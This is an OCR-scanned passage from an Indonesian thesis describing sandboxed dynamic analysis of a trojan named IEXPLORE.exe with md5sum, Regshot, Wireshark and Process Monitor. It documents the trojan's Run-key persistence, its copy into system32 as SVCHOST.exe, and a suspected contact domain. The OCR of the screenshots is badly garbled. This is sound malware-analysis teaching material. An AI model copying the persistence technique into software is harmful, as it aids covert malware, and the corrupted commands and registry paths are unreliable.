Beberapa tools yang harus dijalankan pada proses

sebelum eksekusi diantaranya:

a. Buat md5sum file Trojan IEXPLORE.exe
Gambar 4.27 menunjukkan proses pembuatan md5sum

terhadap file Trojan IEXPLORE.exe. file md5 yang tersimpan
akan dicek setelah Trojan selesai dieksekusi, untuk

mengetahui struktur file apakah masih valid atau tidak.

:~/vboxshare/karantina_virus/trojan_1# 1s -1

> IEXPLORE.exe.mdS

hoxshare/karantina_virus/trojan_1# [

Gambar 4.27 pembuatan file md5 dari IEXPLORE.exe

b. Menjalan RegShot sebelum eksekusi
Gambar 4.28 menujukkan kondisi registry windows

setelah di shot pertama kali dan akan menunggu shot yang



ke dua, yaitu setelah eksekusi file Trojan, lalu kemudian

kedua hasil shot akan dibandingkan.

" Regshot 1.8.3-betalV5 M=

Compare logs save as:

JPlain TXT (%) HTML document

[15can dirt[;dirz;dir3; .. .;dir nnl:

| | Clear

oukpuk path: it
| EreliwiciLOCALS~1) Templ | E]

Abiouk

&dd comment inko the log:

| | English W

keysi92115 Walues: 156285 Time: 5s238ms

Gambar 4.28 Regshot sebelum eksekusi
c. Menjalankan wireshark
Wireshark berguna untuk memantau lalulintas jaringan

pada computer. Gambar 4.29 menujukkan kondisi jaringan

sebelum file Trojan IEXPLORE.exe dieksekusi.

(¢ Capturing from Local Area Connection  [Wireshark 1.12.1 (v1.12.1-0-801b65bf from master-1.12)]
Fle Edt View Go Capture Analyee Stafistics Telephony Tools Intemals Help

eednd BEXEA«+9FLBERQAAH GERE H

Filer: ‘ | Expression. .,

Mo, Tinne: Source Destination Protocol  Length Info

1 0.0000000010.0,2.15 BROWSEF 243 Local master announcement GOSH-D4257HBER7, workstation, Server, NT wWorksta
2 10. 7316460 CacdmusCo_bf :6e:40  Broadcast ARP 42 who has 10.0.2.37 Tell 10.0.2.1%

310,7516750 Realtekl 12:35:03  CadhmusCo_bf:6e:d40  ARP 60 10.0.2.3 15 at §2:54:00:12:35:03

410.757473010.0.2.15 10.0.2.3 DHS 70 standard guery Oxcddf A google. com

510,811761010.0.2.3 10.0.2.15 DNS 302 standard query response Oxcdd4f A 74.125.68.101 A 74.125.68.102 A 74.125.6¢
610, 8555840 CacmusCo_bf:6e:40  Broadcast ARP 42 who has 10.0.2.27 Tell 10.0.2.15

7 10,8561140 Realtekl 12:35:02  CadhmusCo_bf:6e:d40  ARP 6010.0.2.2 5 at §2:54:00:12:35:02

§10.896138010.0.2.15 74.125.68.101 ICMP 74 Echo (ping) reguest 1d=0x0200, seq=256/1, tt1=128 (reply in 9)
910,9255500 74,125, 68,101 10.0.2.15 TP 74 Echa (ping) reply  id=0x0200, seq=256/1, tt1=127 (request in 8)

10 11.855281010.0.2.15 74.125.68.101 ICMP 74 Echo (ping) reguest 1d=0x0200, seq=512/2, tt1=128 (no response found!)

11 11.9271700 74.125. 68,101 10.0.2.15 ICMP 74 Echo (pingd reply  1d=0x0200, seq=512/2, tt1=127 (request in 10)

12 12.860398010.0.2.15 74.125.68.101 ICMP 74 Echo (ping) reguest 1d=0x0200, seq=768/3, tt1=128 (reply in 13)

13 12.5247990 74,125, 68,101 10.0.2.15 IR 74 Echo (ping) reply  1d=0x0200, seq=768/3, tt1=127 (request in 12)

Gambar 4.29 capture paket dengan wireshark

2. Proses setelah eksekusi trojan IEXPLORE.exe
Setelah Trojan tereksekusi, terlihat key baru berhasil

ditambahkan pada registry dengan alamat yang ditunjukkan



pada gambar 4.26, yaitu pada proses sebelum eksekusi.
Gambar 4.30 dan 4.31 menunjukkan keadaan registry

setelah proses eksekusi Trojan.

& Reaistry Editor

Fle Edt View Favorites Help

= 1 polces QH Name T Dt

L e T

Gambar 4.30 key regiélwmg‘/ang ditambahkan

£  Registry Editor

File Edt ‘iew Favorites Help

=] policies A | Hame Type Data
(L Explorer (Defau":) REG_S7 {value not set)
(3 Run GrooveMonitor REG_5Z "C:\Program FilesiMicrosaft OfficelOfficel 21 GrooveMa. .,
a Honnum aBjsvcHosT REG.5Z SYCHIST EVE
8 S:i';?ns b vBaTray REG_5Z CHWINDOWSlsystemaz|VBoxTray. e
(1 PreviewHanders

Gambar 4.31 key registry yang ditambahkan

Pada gambar 4.30 dan 4.31 menunjukkan
penambahan key baru pada registry, yaitu key shell, dan
SVCHOST dengan nilai IEXPLORE.exe dan SVCHOST.exe yang
tidak lain adalah file Trojan yang ter-copy ke dalam folder
system32 pada saat Trojan dieksekusi. Key run pada registry
merupakan key yang digunakan untuk menjalankan suatu
file atau program secara otomatis ketika system pertama
kali dijalankan, sehingga dapat disimpulkan Trojan
IEXPLORE.exe dan SVCHOST.exe akan secara otomatis

berjalan ketika komputer dinyalakan.



Beberapa tools yang dijalankan untuk mengecek

keadaan system setelah proses eksekusi sebagai berikut:

1. Validasi file menggunakan md5sum

Gambar 4.32 menunjukkan kondisi struktur file dari

Trojan IEXPLORE.exe setelah dieksekusi.

IEXPLORE .exe.md5S

<e.md5

hoxshare/karantina virus/trojan_1#

Gambar 4.32 validasi file dengan md5sum setelah eksekusi
Berdasarkan gambar 4.32. menandakan bahwa Trojan
IEXPLORE.exe tidak melakukan manipulasi pada struktur

binernya.
Regshot setelah eksekusi

Regehot 183 betal V5

HKLNS-1-5-21- 7905254 70- 1606900248- 10A0284298- 1003 Software\Microsoft\Windows\ Current Version' Explarer\ Discardable\ PostSetup\ ShelNew

HKLNS-1-5-21-7905254 78- 1606950348- 1060284298 1003\ Software\Microsoft\ Windows\ Current Version' Explorer\MountPoints2\{ afe65850-62d3- 1 1e5-9186-806d5 172696 Shel
HKL\S-1-5-21-790525478- 1606980248- 1060284208- 1003\ Softwar | MicrosoftWindows Currentersion Explarer\MountPoints2\{ afe5850-6203- 1 1e5-0186-80606 1726961, Shell| AutoRun
HKL\S-1-5-21- 7905254 78- 1606980348- 10A0284298- 1003\ Softwar e Microsoft\Windowst Currentersion ExploreriMountPoints2{ afefi5850-62d3- 1 185-9186-806d5172696fH Shell, AutoRun' command
HKU\S-1-5-21-790525478- 1606980248 1060284292- 1003\ Softwars\Microsoft\windaws MT\CurrentVersion! TaskManager

Gambar 4.33 hasil compare regshot sebelum dan sesudah

eksekusi
Gambar 4.33 adalah hasil compare dari registry

windows sebelum dan sesudah eksekusi, tampak bahwa

beberapa key registry baru yang dibuat.



Monitoring proses dengan process monitor
&/ Process Monitor - Sysinternals: www.sysinternals.com
Fle Edt Event Fbter Took Options Hep

@ BE ¢4 8 #F 48400

Time.. PocessMame  FD Operation Path Resul
1012... jSVCHUST.EXE 1884 ﬁHegEreateKey HELMASOFTWARE Microsoft i indows Curenti'ersionpalicies' EsplorerRun SUCCESS
1012... jSVEHDST.EXE 1884 ﬁHegSetUalue HELM\SOFTWARE thdicrosoftwindows' Cureniiersontpolicies \Explorer\ Runtshel SUCCESS
1012 j\EXPLUHEH.EXE 174 ﬁHegEreateKep HELMASOF TWARE \Micaosaftt indows\ Cunenfyersion' poliies\Ewplorer\ Aun SUCCESS
1012... j\EXPLUHEH.EXE 174 ﬂHegSetValue HELMASOFTWARE tMicrosoft/indows'\Cumenliersiontpalicies\Explorer\ Runtshel SUCCESS

Gambar 4.34 monitoring proses dengan process monitor
Dari pantauan proses yang berjalan menggunakan
process monitor seperti gambar 4.34, tampak beberapa
proses dengan nama SVCHOST.EXE dan IEXPLORER.EXE
melakukan operasi pembuatan key pada registry. Keadaan
ini sesuai dengan informasi yang ditemukan pada proses

analisis statis sebelumnya.
Cek kondisi jaringan dengan wireshark

Na. Time Source Destination Pratocal Length Info
1 0.0000000010,0.2.15 10.0.2.3 DNS 70 standard guery 0x76b9 A google.com
2 0.9958350010,0,2.15 10.0.2.3 DNS 70 standard guery 0x76b9 A google.com
3 2.0043800010,0.2.15 10.0.2.3 DNS 70 standard query 0x76b9 A google.com
4 3,9456360010,0.2.3 10.0.2.15 DNS 302 standard guery response Ox76b8 A 74,125.68,102 A 74.125.68.100 A 74,125.68.10
5 3.9763940010,0.2.15 74.125.68.102 0P 74 Echo (ping) request d=0x0200, seq=256/1, tt1=128 (no response found!)
6 9.2814280010.0.2.15 74.125.68.102 1P 74 Echo (ping) request 1d=0x0200, seq=312/2, tt1=128 (no response found!)
714,200008010,0.2.15 74.125.68.102 1CHp 74 Echo (ping) request d=0x0200, seq=768/3, tt1=128 (no response found!)
§19.296333010.0.2.15 74.125.68.102 1P 74 Echo (ping) request 1d=0x0200, seq=1024/4, tt1=128 (no response found!)
9 85.645195010.0.2.15 10.0.2.255 BROWSER 258 Domainfworkgroup Announcement WORKGROUR, NT workstation, Domain Enum

Gambar 4.35 pemantauan jaringan menggunakan wireshark
Gambar 4.35 menujukkan bahwa tidak ada aktifitas
pada jaringan yang mencoba mengkases ke alamat
prettysky.com atau membuka suatu port.
Pada proses analisis dinamis dapat disimpulkan bahwa
aktifitas Trojan IEXPLORE.exe ketika dijalankan pada

lingkungan system operasi, tidak jauh berbeda dengan



informasi yang ditemukan ketika proses analisis statis,
hanya saja tidak ditemukan aktifitas koneksi ke domain
‘prettysky.com’ seperti yang ditemukan pada proses analisis
statis. Hal ini memungkinkan fungsi koneksi tidak

tereksekusi dengan baik ketika program dijalankan.






